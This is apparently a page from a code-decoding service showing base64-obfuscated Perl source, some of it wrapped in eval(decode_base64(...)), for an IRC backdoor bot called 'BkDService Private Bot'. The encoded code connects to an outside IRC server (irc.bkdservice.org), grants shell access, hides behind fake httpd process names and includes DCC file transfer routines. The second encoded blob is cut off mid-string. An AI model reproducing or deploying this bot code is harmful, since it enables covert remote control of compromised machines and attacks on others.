KCRmaCk7DQogICAgICAgICRmaC0+Y2xvc2U7DQogICAgICAgIG5leHQ7DQogICAgIH0NCiAgICAgaWYgKCRkY2N0aXBvIGVxICJnZXQiKSB7DQogICAgICAgICREQ0N7JGZofXtjdXJieXRlfSArPSBsZW5ndGgoJG1zZyk7DQoNCiAgICAgICAgbXkgJGN1cl9ieXRlID0gJERDQ3skZmh9e2N1cmJ5dGV9Ow0KDQogICAgICAgIG9wZW4oRklMRSwgIj4+ICRhcnF1aXZvIik7DQogICAgICAgIHByaW50IEZJTEUgIiRtc2ciIGlmICgkY3VyX2J5dGUgPD0gJGJ5dGVzKTsNCiAgICAgICAgY2xvc2UoRklMRSk7DQoNCiAgICAgICAgbXkgJHBhY2tieXRlID0gcGFjaygiTiIsICRjdXJfYnl0ZSk7DQogICAgICAgIHByaW50ICRmaCAiJHBhY2tieXRlIjsNCg0KICAgICAgICBpZiAoJGJ5dGVzID09ICRjdXJfYnl0ZSkgew0KICAgICAgICAgICAkZGNjX3NlbC0+cmVtb3ZlKCRmaCk7DQogICAgICAgICAgICRmaC0+Y2xvc2U7DQogICAgICAgICAgICREQ0N7JGZofXtzdGF0dXN9ID0gIlJlY2ViaWRvIjsNCiAgICAgICAgICAgJERDQ3skZmh9e2Z0aW1lfSA9IHRpbWU7DQogICAgICAgICAgIG5leHQ7DQogICAgICAgIH0NCiAgICAgfSBlbHNpZiAoJGRjY3RpcG8gZXEgInNlbmQiKSB7DQogICAgICAgICAgbXkgJHNlbmQgPSAkZmgtPmFjY2VwdDsNCiAgICAgICAgICAkc2VuZC0+YXV0b2ZsdXNoKDEpOw0KICAgICAgICAgICRkY2Nfc2VsLT5hZGQoJHNlbmQpOw0KICAgICAgICAgICRkY2Nfc2VsLT5yZW1vdmUoJGZoKTsNCiAgICAgICAgICAkRENDeyRzZW5kfXt0aXBvfSA9ICdzZW5kY29uJzsNCiAgICAgICAgICAkRENDeyRzZW5kfXtpdGltZX0gPSB0aW1lOw0KICAgICAgICAgICREQ0N7JHNlbmR9e25pY2t9ID0gJG5pY2s7DQogICAgICAgICAgJERDQ3skc2VuZH17Ynl0ZXN9ID0gJGJ5dGVzOw0KICAgICAgICAgICREQ0N7JHNlbmR9e2N1cmJ5dGV9ID0gMDsNCiAgICAgICAgICAkRENDeyRzZW5kfXthcnF1aXZvfSA9ICRhcnF1aXZvOw0KICAgICAgICAgICREQ0N7JHNlbmR9e2lwfSA9ICRzZW5kLT5wZWVyaG9zdDsNCiAgICAgICAgICAkRENDeyRzZW5kfXtwb3J0YX0gPSAkc2VuZC0+cGVlcnBvcnQ7DQogICAgICAgICAgJERDQ3skc2VuZH17c3RhdHVzfSA9ICJFbnZpYW5kbyI7DQogICAgICAgICAgb3BlbihGSUxFLCAiPCAkYXJxdWl2byIpOw0KICAgICAgICAgIG15ICRmYnl0ZXM7DQogICAgICAgICAgcmVhZChGSUxFLCAkZmJ5dGVzLCAxMDI0KTsNCiAgICAgICAgICBwcmludCAkc2VuZCAiJGZieXRlcyI7DQogICAgICAgICAgY2xvc2UgRklMRTsNCiMgICAgICAgICAgZGVsZXRlKCREQ0N7JGZofSk7DQogICAgIH0gZWxzaWYgKCRkY2N0aXBvIGVxICdzZW5kY29uJykgew0KICAgICAgICAgIG15ICRieXRlc19zZW5kZWQgPSB1bnBhY2soIk4iLCAkbXNnKTsNCiAgICAgICAgICAkRENDeyRmaH17Y3VyYnl0ZX0gPSAkYnl0ZXNfc2VuZGVkOw0KICAgICAgICAgIGlmICgkYnl0ZXNfc2VuZGVkID09ICRieXRlcykgew0KICAgICAgICAgICAgICRmaC0+Y2xvc2U7DQogICAgICAgICAgICAgJGRjY19zZWwtPnJlbW92ZSgkZmgpOw0KICAgICAgICAgICAgICREQ0N7JGZofXtzdGF0dXN9ID0gIkVudmlhZG8iOw0KICAgICAgICAgICAgICREQ0N7JGZofXtmdGltZX0gPSB0aW1lOw0KICAgICAgICAgICAgIG5leHQ7DQogICAgICAgICAgfQ0KICAgICAgICAgIG9wZW4oU0VOREZJTEUsICI8ICRhcnF1aXZvIik7DQogICAgICAgICAgc2VlayhTRU5ERklMRSwgJGJ5dGVzX3NlbmRlZCwgMCk7DQogICAgICAgICAgbXkgJHNlbmRfYnl0ZXM7DQogICAgICAgICAgcmVhZChTRU5ERklMRSwgJHNlbmRfYnl0ZXMsIDEwMjQpOw0KICAgICAgICAgIHByaW50ICRmaCAiJHNlbmRfYnl0ZXMiOw0KICAgICAgICAgIGNsb3NlKFNFTkRGSUxFKTsNCiAgICAgfQ0KICAgfQ0KfQ0KDQpzdWIgU0VORCB7DQogIG15ICgkbmljaywgJGFycXVpdm8pID0gQF87DQogIHVubGVzcyAoLXIgIiRhcnF1aXZvIikgew0KICAgIHJldHVybigwKTsNCiAgfQ0KICBteSAkZGNjYXJrID0gJGFycXVpdm87DQogICRkY2NhcmsgPX4gcy9bLipcL10oXFMrKS8kMS87DQogIG15ICRtZXVpcCA9ICQ6OmlyY19zZXJ2ZXJzeyIkOjpJUkNfY3VyX3NvY2tldCJ9eydtZXVpcCd9Ow0KICBteSAkbG9uZ2lwID0gdW5wYWNrKCJOIixpbmV0X2F0b24oJG1ldWlwKSk7DQogIG15IEBmaWxlc3RhdCA9IHN0YXQoJGFycXVpdm8pOw0KICBteSAkc2l6ZV90b3RhbD0kZmlsZXN0YXRbN107DQogIGlmICgkc2l6ZV90b3RhbCA9PSAwKSB7DQogICAgIHJldHVybigwKTsNCiAgfQ0KICBteSAoJHBvcnRhLCAkc2VuZHNvY2spOw0KICBkbyB7DQogICAgJHBvcnRhID0gaW50IHJhbmQoNjQ1MTEpOw0KICAgICRwb3J0YSArPSAxMDI0Ow0KICAgICRzZW5kc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhMaXN0ZW49PjEsIExvY2FsUG9ydCA9PiRwb3J0YSwgUHJvdG8gPT4gJ3RjcCcpIGFuZCAkZGNjX3NlbC0+YWRkKCRzZW5kc29jayk7DQogIH0gdW50aWwgJHNlbmRzb2NrOw0KICAkRENDeyRzZW5kc29ja317dGlwb30gPSAnc2VuZCc7DQogICREQ0N7JHNlbmRzb2NrfXtuaWNrfSA9ICRuaWNrOw0KICAkRENDeyRzZW5kc29ja317Ynl0ZXN9ID0gJHNpemVfdG90YWw7DQogICREQ0N7JHNlbmRzb2NrfXthcnF1aXZvfSA9ICRhcnF1aXZvOw0KICAmOjpjdGNwKCIkbmljayIsICJEQ0MgU0VORCAkZGNjYXJrICRsb25naXAgJHBvcnRhICRzaXplX3RvdGFsIik7DQp9DQpzdWIgR0VUIHsNCiAgbXkgKCRhcnF1aXZvLCAkZGNjbG9uZ2lwLCAkZGNjcG9ydGEsICRieXRlcywgJG5pY2spID0gQF87DQogIHJldHVybigwKSBpZiAoLWUgIiRhcnF1aXZvIik7DQogIGlmIChvcGVuKEZJTEUsICI+ICRhcnF1aXZvIikpIHsNCiAgICAgY2xvc2UgRklMRTsNCiAgfSBlbHNlIHsNCiAgICByZXR1cm4oMCk7DQogIH0NCiAgbXkgJGRjY2lwPWZpeGFkZHIoJGRjY2xvbmdpcCk7DQogIHJldHVybigwKSBpZiAoJGRjY3BvcnRhIDwgMTAyNCBvciBub3QgZGVmaW5lZCAkZGNjaXAgb3IgJGJ5dGVzIDwgMSk7DQogIG15ICRkY2Nzb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFByb3RvPT4idGNwIiwgUGVlckFkZHI9PiRkY2NpcCwgUGVlclBvcnQ9PiRkY2Nwb3J0YSwgVGltZW91dD0+MTUpIG9yIHJldHVybiAoMCk7DQogICRkY2Nzb2NrLT5hdXRvZmx1c2goMSk7DQogICRkY2Nfc2VsLT5hZGQoJGRjY3NvY2spOw0KICAkRENDeyRkY2Nzb2NrfXt0aXBvfSA9ICdnZXQnOw0KICAkRENDeyRkY2Nzb2NrfXtpdGltZX0gPSB0aW1lOw0KICAkRENDeyRkY2Nzb2NrfXtuaWNrfSA9ICRuaWNrOw0KICAkRENDeyRkY2Nzb2NrfXtieXRlc30gPSAkYnl0ZXM7DQogICREQ0N7JGRjY3NvY2t9e2N1cmJ5dGV9ID0gMDsNCiAgJERDQ3skZGNjc29ja317YXJxdWl2b30gPSAkYXJxdWl2bzsNCiAgJERDQ3skZGNjc29ja317aXB9ID0gJGRjY2lwOw0KICAkRENDeyRkY2Nzb2NrfXtwb3J0YX0gPSAkZGNjcG9ydGE7DQogICREQ0N7JGRjY3NvY2t9e3N0YXR1c30gPSAiUmVjZWJlbmRvIjsNCn0NCnN1YiBTdGF0dXMgew0KICBteSAkc29ja2V0ID0gc2hpZnQ7DQogIG15ICRzb2NrX3RpcG8gPSAkRENDeyRzb2NrZXR9e3RpcG99Ow0KICB1bmxlc3MgKGxjKCRzb2NrX3RpcG8pIGVxICJjaGF0Iikgew0KICAgIG15ICRuaWNrID0gJERDQ3skc29ja2V0fXtuaWNrfTsNCiAgICBteSAkYXJxdWl2byA9ICREQ0N7JHNvY2tldH17YXJxdWl2b307DQogICAgbXkgJGl0aW1lID0gJERDQ3skc29ja2V0fXtpdGltZX07DQogICAgbXkgJGZ0aW1lID0gdGltZTsNCiAgICBteSAkc3RhdHVzID0gJERDQ3skc29ja2V0fXtzdGF0dXN9Ow0KICAgICRmdGltZSA9ICREQ0N7JHNvY2tldH17ZnRpbWV9IGlmIGRlZmluZWQoJERDQ3skc29ja2V0fXtmdGltZX0pOw0KDQogICAgbXkgJGRfdGltZSA9ICRmdGltZS0kaXRpbWU7DQoNCiAgICBteSAkY3VyX2J5dGUgPSAkRENDeyRzb2NrZXR9e2N1cmJ5dGV9Ow0KICAgIG15ICRieXRlc190b3RhbCA9ICAkRENDeyRzb2NrZXR9e2J5dGVzfTsNCg0KICAgIG15ICRyYXRlID0gMDsNCiAgICAkcmF0ZSA9ICgkY3VyX2J5dGUvMTAyNCkvJGRfdGltZSBpZiAkY3VyX2J5dGUgPiAwOw0KICAgIG15ICRwb3JjZW4gPSAoJGN1cl9ieXRlKjEwMCkvJGJ5dGVzX3RvdGFsOw0KDQogICAgbXkgKCRyX2R1diwgJHBfZHV2KTsNCiAgICBpZiAoJHJhdGUgPX4gL14oXGQrKVwuKFxkKShcZCkoXGQpLykgew0KICAgICAgICRyX2R1diA9ICQzOyAkcl9kdXYrKyBpZiAkNCA+PSA1Ow0KICAgICAgICRyYXRlID0gIiQxXC4kMiIuIiRyX2R1diI7DQogICAgfQ0KICAgIGlmICgkcG9yY2VuID1+IC9eKFxkKylcLihcZCkoXGQpKFxkKS8pIHsNCiAgICAgICAkcF9kdXYgPSAkMzsgJHBfZHV2KysgaWYgJDQgPj0gNTsNCiAgICAgICAkcG9yY2VuID0gIiQxXC4kMiIuIiRwX2R1diI7DQogICAgfQ0KICAgIHJldHVybigiJHNvY2tfdGlwbyIsIiRzdGF0dXMiLCIkbmljayIsIiRhcnF1aXZvIiwiJGJ5dGVzX3RvdGFsIiwgIiRjdXJfYnl0ZSIsIiRkX3RpbWUiLCAiJHJhdGUiLCAiJHBvcmNlbiIpOw0KICB9DQogIHJldHVybigwKTsNCn0NCg0Kc3ViIGZpeGFkZHIgew0KICAgIG15ICgkYWRkcmVzcykgPSBAXzsNCg0KICAgIGNob21wICRhZGRyZXNzOw0KICAgIGlmICgkYWRkcmVzcyA9fiAvXlxkKyQvKSB7DQogICAgICAgIHJldHVybiBpbmV0X250b2EocGFjayAiTiIsICRhZGRyZXNzKTsNCiAgICB9IGVsc2lmICgkYWRkcmVzcyA9fiAvXlsxMl0/XGR7MSwyfVwuWzEyXT9cZHsxLDJ9XC5bMTJdP1xkezEsMn1cLlsxMl0/XGR7MSwyfSQvKSB7DQogICAgICAgIHJldHVybiAkYWRkcmVzczsNCiAgICB9IGVsc2lmICgkYWRkcmVzcyA9fiB0ci9hLXpBLVovLykgew0KICAgICAgICByZXR1cm4gaW5ldF9udG9hKCgoZ2V0aG9zdGJ5bmFtZSgkYWRkcmVzcykpWzRdKVswXSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCn0=')); ?>

Did this file decode correctly?

Original Code

#!/usr/bin/perl
use MIME::Base64;
eval (decode_base64('IyBCa0RTZXJ2aWNlIFByaXZhdGUgQm90DQojDQpteSBAbWFzdDNycyA9ICgibWFycy5jYS50ZS5mdXQiKTsNCg0KDQpteSBAYWRtY2hhbj0oIiNhbnRpc2VjIik7DQoNCiRzZXJ2aWRvcj0naXJjLmJrZHNlcnZpY2Uub3JnJyB1bmxlc3MgJHNlcnZpZG9yOw0KDQoNCm15ICR4ZXF0ID0gIiFib3QiOw0KbXkgJGhvbWVkaXIgPSAiL3RtcC8iOw0KbXkgJHNoZWxsYWNjZXNzID0gMTsNCm15ICR4c3RhdHMgPSAxOw0KbXkgJHBhY290ZXMgPSAxOw0KbXkgJGxpbmFzX21heCA9IDU7DQpteSAkc2xlZXAgPSA2Ow0KbXkgJHBvcnRpbWUgPSA0Ow0KDQpteSBAZmFrZXBzID0gKCIvdXNyL2xvY2FsL2FwYWNoZS9iaW4vaHR0cGQgLURTU0wiLA0KICAgIi91c3Ivc2Jpbi9odHRwZCAtayBzdGFydCAtRFNTTCIsDQogICAiL3Vzci9zYmluL2h0dHBkIiwNCiAgICJnbm9tZS1wdHktaGVscGVyIiwNCiAgICJodHRwZCIpOw0KDQpteSBAbmlja25hbWUgPSAoIlRlYW1Ca0QiLCJUZWFtRGFyY2siLCJlbGl0ZXIiLCJ2eGJvdCIsInNtdWZlbiIsImR1YWwiLCJsZWUiLCJjYXJybyIsImZyaWRhIiwNCiAgICJUZWFNcngxIiwiVGVhTXJ4MCIsIlRlYU1yeDIiLCJUZWFNcngzIiwiVGVhTXJ4NCIsIlRlYU1yeDUiLCJUZWFNcng2IiwiVGVhTXJ4NyIsDQogICAiYVZlIiwia21vZCIsImttb2QyIiwidXNlbGliIiwicmFwdG9yIiwidG1wU0giLCJwd25lZCIsIncwMHQiLCJEdWFsRHVvIiwiSW50ZWwiLA0KICAgIkFNRFB3ciIsIkdlZm9yY2UiLCJFeHBsb2l0Iiwidng4bTBkIiwiaW5kZXhzIiwiaW5kZXgiLCJpbmRleDIiLCJpbmRleDMiLCJpbmRleDQiLA0KICAgInhRdDEiLCJ4UXQyIiwieFF0MyIsInhRdDQiLCJ4UXQ1IiwieFF0NiIsInhRdDciLCJ4UXQ4IiwieFF0OSIsInhRdDEwIiwiVGVhTXJ4eiIsDQogICAiRGUiLCJEZXIiLCJEZXQiLCJWYXIiLCJLYW0iLCJEZWEiLCJDc2EiLCJGYmkiLCJEZWEiLCJOYXJrbyIsIkdvbmUiLCJGZWJlciIsIlR1bGwiLA0KICAgIlR1bmRyYSIsInN0MHJtcyIsImZMYXNoIiwiVGhlTGlnaHQiLCJOaWtrbyIsIk5pa2llIiwiTmlra2llIiwiZGFuaWVsIiwidDBueWFuZHIiLA0KICAgIkV1cm9wYSIsIkZhbnRhIiwiQ2Fyb2xpbmUiLCJzcGVlZGxpbmUiLCJQZXJmMHJtIiwiaW5kZXhzIiwiZGFuIiwiZWR1Y2F0IiwiY2F0aW5hIiwNCiAgICJiaW5kZXgiLCJoaW5kZXgiLCJuMHJ3YXkiLCJteXBocCIsInBocHZ1bG4iLCJBbGFybWEiLCJHb1NjYW4iLCJvc2xvY2l0eSIsInNwZXR0ZSIsDQogICAgICAgICJDYXNjYW0iLCJ2U3BvcnQiLCJ2U21vdG9yIiwidlN0ZWFtIiwidlN0dXJibyIsIlR1cmJvc3QiLCJoZWVtYW4iLCJhbmR5IiwibG91bmRyeSIsDQogICAicmFuZ2VyIiwiQ2FyYm9uIiwiVHlwZVIiLCJOb3p6IiwicGhwZm9ydW0iLCJOeGdhcyIsIk5pbmFHaXJsIiwiSXNpdCIsImxhbWEiLCJvdWNoIiwNCiAgICJ2VGVhbSIsInZTcG90IiwidkNyZXciLCJ4ZVF0YSIsIkdvdXJsIiwiVnVsbngiLCJIa3N1cmwiLCJHcmVlZHkiLCJNcngiLCJjb3VueWphaWwiLA0KICAgIlNwb3VybCIsIlRvcnNob3YiLCJPc2xvcyIsImNvbV94ZXF0IiwibW93Z2xpIiwiQXN1cyIsImNvbV9tcngiLCJNcnhUZWFtIiwiYXJyZXN0IiwNCiAgICJ2U2NyZXciLCJiZXJhbiIsInN0dWluZyIsInVjdXR0ZXIiLCJyZWFkbm90IiwiZ2V0aGVscCIsImN1cnBvcyIsImN1dGV4dCIsIkJ1c3RlZCIsDQogICAgICAgICJkZXRkYSIsImthbmpvIiwibmVpbmVpIiwiQ2FyYm9uIiwiaXJyaXRlciIsIm1hc2EiLCJkZXYtbnVsbCIsImtvcnNldHQiLCJQZXJsVGVhbSIsDQogICAgICAgICJqYWRhIiwia2FuamVnIiwibXV0dGVyeiIsImRhbGVubWluIiwiaGVpbWRhbCIsIkdhbWJsZXIiLCJEZWFueiIsIlBocmVhayIsIkdldG5vIiwNCiAgICAgICAgIlN1c2EiLCJQaWxzIiwiUGlseiIsIkJpbHoiLCJDbHVieiIsIkNsdWJzIiwiQ2x1YmJpbiIsIkZpZ2h0cyIsIkthbXBlbiIsInRlbGVub3IiLA0KICAgICAgICAiS2Fyc3MiLCJHb3BoeSIsInJlYWN0b3IiLCJmaWxlcG9ybiIsImZpbGVtcDMiLCJmaWxlbGlzdCIsImZyZWU2IiwicHVyZXh0YyIsInVwYyIsDQogICAiR3JhbmRpcyIsIlBpY2Nhc28iLCJWYW5kYSIsInZhcmJ1cmVuIiwiVGllc3RvIiwiSmVhbiIsIkRqRWFuIiwiTWVOZSIsIlRoaVMiLCJuTyIsDQogICAgICAgICJkcnNwZWVkIiwiZnV6enkiLCJidXp6eiIsIkdvU2NhbiIsIlZ1bG5lZCIsIkdvdXJsIiwibWFrZWNvbmYiLCJzc2hkY29uZiIsIm5ndG5vIiwNCiAgICJtMHJ0ZW0iLCJjYXQwIiwiRnVja3lhbGwiLCJGdWNraXQiLCJBZW0iLCJHcmVlZHkiLCJIa3NzIiwiU3BhcmNvIiwiTW9NbyIsIkNhcmJvbiIsDQogICAgICAgICJkM255YWxsIiwidmlweiIsImR1YWxjMHJ6IiwidHdvYzByZSIsImdvdGl0IiwiaDBseXNoaXQiLCJwcnRscyIsInJhcHQwciIsIkdldGRlIiwNCiAgICJWdWxueCIsImQzbnl1cmwiLCJ2VWxudXJsIiwidjBka2EiLCJUb3JzaG92IiwidHVyYm9vIiwiQm9vc3QiLCJmYXN0eSIsImZyIiwiZ2V0ZnIiLA0KICAgImRhdGFjb3JlIiwiZHVhbGNvcmUiLCJEYW5pZWwiLCJzcHVydiIsImJ5cmRzIiwiamFpbHMiLCJzcG9vdCIsInNwZWVscyIsIm1sIiwiZ2V0ZCIsDQogICAiQW50aXZpIiwibm9kMzIiLCJTY3Jld2VkIiwiYWxpYXMiLCJtZWtra2EiLCJ0ZW1wbGF0ZSIsImYwcm0zIiwicDBrZXIiLCJHZXRvbiIsIk5PIiwNCiAgICJEb29yIiwiQm9yciIsIkphYXJuIiwiU3BvcmV0IiwiRG9wYSIsIkhhc2plbiIsInB1cnhUYyIsIkxpcXVlciIsIkp1c3RsaW5rIiwiQXN1c3QiLA0KICAgIkR1ZmZpbiIsIkR1cnJldHQiLCJEdXNzYXVsdCIsIkR3eWVyIiwiRWFyZGxleSIsIkViZWxpbmciLCJFY2tlbCIsIkVkbGV5IiwiRWRuZXIiLA0KICAgIkVkd2FyZCIsIkVpY2tlbmhvcnN0IiwiRWxpYXNzb24iLCJFcmRvcyIsIkVyZXoiLCJFc3Bpbm96YSIsIkVzdGVzIiwiRXR0ZXIiLCJFaW5hIiwNCiAgICJFbG1lbmRvcmYiLCJFbG1lcmljayIsIkVsdmlzIiwiRW5jaW5hcyIsIkVueWVhcnQiLCJFcHBsaW5nIiwiRXJiYWNoIiwiRXJkbWFuIiwiZDAiLA0KICAgIkV2ZXJldHQiLCJGYWJicmlzIiwiRmFnYW4iLCJGYWlvZXMiLCJBbHRhdmlzdGEiLCJGbGFtb3IiLCJGYXJpcyIsIkZhcm9uZSIsImYwMGxuM3QiLA0KICAgIkZhcnJlbiIsIkZhc3NvJyIsIkZhdGVzIiwiRmVpZ2VuYmF1bSIsIkZlanpvIiwiRmVsZG1hbiIsIkV1cmlwaWRlcyIsIkVuem9vIiwiZDAwcmsiLA0KICAgIldpa2lpIiwiV2lmaWkiLCJKdmMiLCJzMG5ueSIsImxla3RlciIsImhlcnJpZXIiLCJzcDBrZXIiLCJuZXRwbHkiLCJuZXRiMHN0IiwiTGlxIiwNCiAgICAgICAgImNvbW1hIiwianVsaWUiLCJzdmVpbmEiLCJhbmRyZSIsInB1bHNlZGoiLCJwMGtlciIsImowa2VyIiwiZUZuM3QiLCJMaWVycyIsInhUY25vIiwNCiAgICJTdWl0ZSIsIkluY2wiLCJQYWdlIiwiTWFwcGUiLCJPeHlkIiwiSW5mb2RlIiwiU2VuaWwiLCJQb3dlcnMiLCJMYW5ndSIsIm0wZCIsImRvY2giLA0KICAgIlNuYWtlcyIsIlJpZGRlciIsIlZpa2luZyIsIlZpa2luZ3MiLCJOb3JtYW4iLCJOb3J3YXkiLCJHZXJtYW4iLCJJbmZvIiwiQml6IiwiRWR1ZCIsDQogICAiTmluamFzIiwiSWxuZXNzIiwiVGVhY2VyIiwiRmFjZW9mZiIsImRldm51bGwiLCJNb01vIiwiU3Bvb24iLCJMaXF1aWQiLCJHb29meSIsIkFqIiwNCiAgICJHb29nbGUiLCJZYWhvbyIsIkFsdGF2aXN0YSIsIkx5Y29zIiwiU2VzYW0iLCJTb2xubyIsIkdvb2dsZXIiLCJTY2FtTmV0IiwidzBybW5ldCIsDQogICAicHVtYW4iLCJTa2VpZGFyIiwiVGluZW1lbGsiLCJGcmVpYSIsIlRyZXNpcyIsIlRiYW5lbiIsIkFkZW55ZWQiLCJIdWxrZW4iLCJQdXJlaWNlIiwNCiAgICJTcGVycmUiLCJMaXN0ZXIiLCJCdXJib24iLCJidXJiMG5zIiwiVG95MCIsIlByb3hlcyIsIldyeFN0aSIsIkV2bzYiLCJFdm83IiwiRXZvOCIsDQogICAid3NzIiwiYnNzIiwibmF0cm9uIiwia2l3aXMiLCJSZW1hbiIsIlNldm5VcCIsIlBlcmxwbHMiLCJTcGlpZCIsIkdvdmJyIiwiR292bWlsIiwNCiAgICJXc3NzcyIsIkZpbGVzIiwieEZpbGVzIiwiRGF0YXcwcm0iLCJuM3R3MHJtIiwiSW5mbyIsIkJpeiIsIk9yZ3kiLCJmb2tzeSIsIlJldmVuIiwNCiAgICJsaW1ibyIsIm1hbWJpIiwiYmFtYmkiLCJydW1teSIsIklsdXZQZXJsIiwiUGVybEtpbmciLCJQb2tlcmtpbmciLCJUdXJib2EiLCJHdHR0IiwNCiAgICJCdWdTY2FtIiwiQnVnVHJhcSIsIlRyYWNrcXMiLCJRdWUiLCJBZGlkYXMiLCJVbWJybyIsIlNwb3J0YXMiLCJMaXF1aWQiLCJGb3J1bWUiLA0KICAgIkRla2EiLCJKYmwiLCJBZGVjY28iLCJNNVIiLCJUdW5lcnMiLCJUZWNobm8iLCJTaXZpbGVuIiwiQmFvc2giLCJTbnV0ZW4iLCJQdXJrZW4iLA0KICAgImFhdWRpIiwiY291cGUiLCJuZXRsaWdhIiwibGlnYW5ldCIsIm5ldGJhc2UiLCJOZXRTbm9rIiwiU25va25ldCIsIlNuaWZuZXQiLCJsaWJ6IiwNCiAgICJpbmRleHAiLCJqb29ibGFhIiwibWFtYm9vIiwiQmlubDNuIiwiQ3BsdXNwbHVzIiwicDNybHMzeCIsImlsbGdvb24iLCJkZSIsImxpbWUiLA0KICAgImhvbWVzIiwibmV3c3IiLCJzaW5kZXgiLCJmaW5kZXgiLCJzaG9tZSIsInBocDMiLCJlZWRhbiIsIkV2ZW5zIiwiRXZlcmVzdCIsImtrazIiLA0KICAgImlnYWwiLCJjMGxvbWJpYSIsImZyZWVtZSIsImR1cGVuIiwiZDNubWFyayIsInMyZWQzbiIsImNyeXB0MG4iLCJuMGRhbTNuIiwiaXRjaCIsDQogICAiRG9taW5vIiwiVGFyc2FuIiwianVsaWUiLCJBbmV0dCIsIlN0aW5lIiwiTGF1cmEiLCJDcm9mdCIsIkNyYWZ0IiwiTXJleCIsImppZ2d5IiwNCiAgICJIZW1hYW4iLCJjMG5hbiIsImMwbm1lbiIsIkltSSIsIlJkUiIsIklscyIsIkFzcyIsIkRpbGRvIiwiUHVsYSIsIkJsb3ciLCJTbjBydHMiLA0KICAgIkFsb2FsbyIsIk5hc2EiLCJEZWFHb3YiLCJGYmlHb3YiLCJOc2FHb3YiLCJDaWFHb3YiLCJDc2lFZHUiLCJIYXYwcmQiLCJkalB1bHNlIiwNCiAgICAgICAgIk9zbG9zIiwiSWxzIiwiY2lhIiwiZDNhIiwiZGVhIiwibnNhIiwibmFzIiwiYXNhIiwia21hIiwiU2NhbXVybCIsInZpdG8iLCJ4UXQiKTsNCg0KbXkgQHhpZGVudCA9ICgibm93YXkiLCJtaXJjIiwiY21kIiwiaW5kZXgiLCJtYWluIiwicGhwIiwidnVsbiIsImlpcmlzIiwiYngiLCJzdW4iLCJraGFuIiwNCiAgICJpbmZvIiwiY3B1IiwicGV0IiwicGFjcyIsImRpbm8iLCJtZWdvdiIsIm9uZXQiLCJ4cm0iLCJ0aXNpIiwicGFybSIsImNpY28iLCJqdW4iLA0KICAgImNhb3MiLCJmcmVkIiwicGVhY2UiLCJkdWRlIiwicm94Iiwicm9jayIsInJva2llIiwiYmF5cm4iLCJnZWVzIiwiaHZhbCIsIndvbGYiLA0KICAgImRvIiwiZ28iLCJsbiIsInN0IiwiZmlsZSIsInBhZ2UiLCJwYWciLCJwZyIsImxnIiwibGFuZyIsImxuZyIsInNyY3MiLCJhY3Rpb24iLA0KICAgInNtbCIsInBvZCIsIm52aWRpYSIsInZpZGlhIiwidmlsbGEiLCJrYWtlIiwic3BhdCIsInNvbG8iLCJDb2xzIiwia29scyIsImtyZWZ0IiwNCiAgICJsYW0iLCJmYWwiLCJkZXR0IiwiZHJvcCIsInNub3AiLCJ0cnVlIiwiZmFrZSIsInllcyIsInNpciIsIm1hZSIsIm5tZiIsInZtYXgiLCJhcyIsDQogICAiYWRpbyIsImF1ZG8iLCJzb3JlbiIsInR2dHJlIiwiaG9zdCIsInVuaXRkIiwiY29kYSIsImNvYnJhIiwibWFucyIsImdtYWlsIiwiZ3RycyIsDQogICAicmVtYXgiLCJyaWsiLCJmYXRpZyIsInBvb3IiLCJnaXJscyIsInBvdyIsIndvcCIsIndvayIsInNvbiIsImtvbHNhIiwicm95ayIsImFzc3MiLA0KICAgImxvcyIsImxhcyIsImFuZ2wiLCJkcmVhbSIsImZvb2xzIiwicGhvbCIsInBob29scyIsImQwcmsiLCJzcG9uIiwic3BhbGsiLCJrYWxrIiwNCiAgICJlbWFpbCIsInNtdHAiLCJwb3BzIiwiaW1hcGQiLCJwYWciLCJsYW5nIiwibGciLCJuYXYiLCJwaHAiLCJzcHllciIsImN5cCIsImhhcmR5IiwNCiAgICAgICAgImVtYWlsIiwibnVsbCIsIm1hc3RyIiwiZHJ1bmsiLCJmdWxsIiwiYmVlciIsImJheWVyIiwibWFnZSIsIm5ldmUiLCJmaXN0IiwiaGFpc3QiLA0KICAgICAgICAiZGFyYSIsImRvcmEiLCJib3JpcyIsImRldiIsImN1cHJhIiwiaXNnYWwiLCJZdXJpIiwiR2VleiIsIkZyeXMiLCJkb3MiLCJ0byIsImVtdWwiLA0KICAgICAgICAicHduZWQiLCJrdW5nIiwia2ltIiwibGlsIiwiZmF0am8iLCJmYXRtYW4iLCJmYXQiLCJqb2UiLCJkb2VzIiwicXVhdCIsInRyZXMiLCJldSIsDQogICAic2h2NSIsImxyayIsImxrbSIsImxrbXJrIiwidHJrNSIsInh0IiwidHFleCIsIml0dCIsImZ1bGwiLCJoYWxmIiwicG93ZXIiLCJzZW5kZXIiLA0KICAgImRvZXMiLCJ0cmVzIiwicXVhdCIsImZpYXQiLCJzcG9uIiwia3ZhZSIsImxpaW0iLCJwYXBwIiwiZGRvcyIsImZhcnQiLCJub3oiLCJkYWltIiwNCiAgICJsaWdhIiwidHZvbmUiLCJzaGR3IiwiZXRjcHdkIiwiaW5pdGQiLCJmdHBkIiwid3VzcGwiLCJwcm9mdHAiLCJuZXdzZCIsInNvY2tkIiwibHVlIiwNCiAgICJsb21hIiwiRG9tbWEiLCJoZXN0IiwiaGVpc3QiLCJ0aXZvbGkiLCJzdHVkIiwiZHVzdCIsImZ1c3QiLCJGbHVlIiwibmlsbGUiLCJrZW5ueSIsDQogICAia29tYSIsImxvYyIsImluYyIsImluY2wiLCJzcmMiLCJmb2t1cyIsImZvcmQiLCJjaGV2eSIsIndyYyIsImNwdSIsImNvb2wiLCJzcmNoZXJzIiwNCiAgICJpbmMiLCJpbmNsIiwiZGlyIiwiZmlsZSIsInNkaXIiLCJtYWlucyIsImxvZ2luIiwicGF0aCIsImJhc2UiLCJjbWQiLCJjYXRzIiwiZmFydHMiLA0KICAgImZpYXQiLCJ1bm8iLCJqZXJuIiwia29iZXIiLCJsaXEiLCJ0b3JzayIsImZpc2siLCJsYWtzIiwiaG9uZSIsImhvcmUiLCJidWsiLCJub21hbiIsDQogICAibGltIiwiaWRlbSIsInByaW5jZSIsInN2ZWluYSIsImtpbmUiLCJraW0iLCJhbGxhbiIsImhhbm5lIiwidGVyamUiLCJidWtrZW4iLCJicnVzZSIsDQogICAibnUiLCJkbyIsImxpIiwiZmFlbiIsInRhdGVyIiwiZG9jIiwibG9jIiwicG9mIiwibmluamEiLCJwZXIiLCJwZXRzIiwic2luZ3MiLCJkb3BlciIsDQogICAibGlxIiwiZG9wIiwi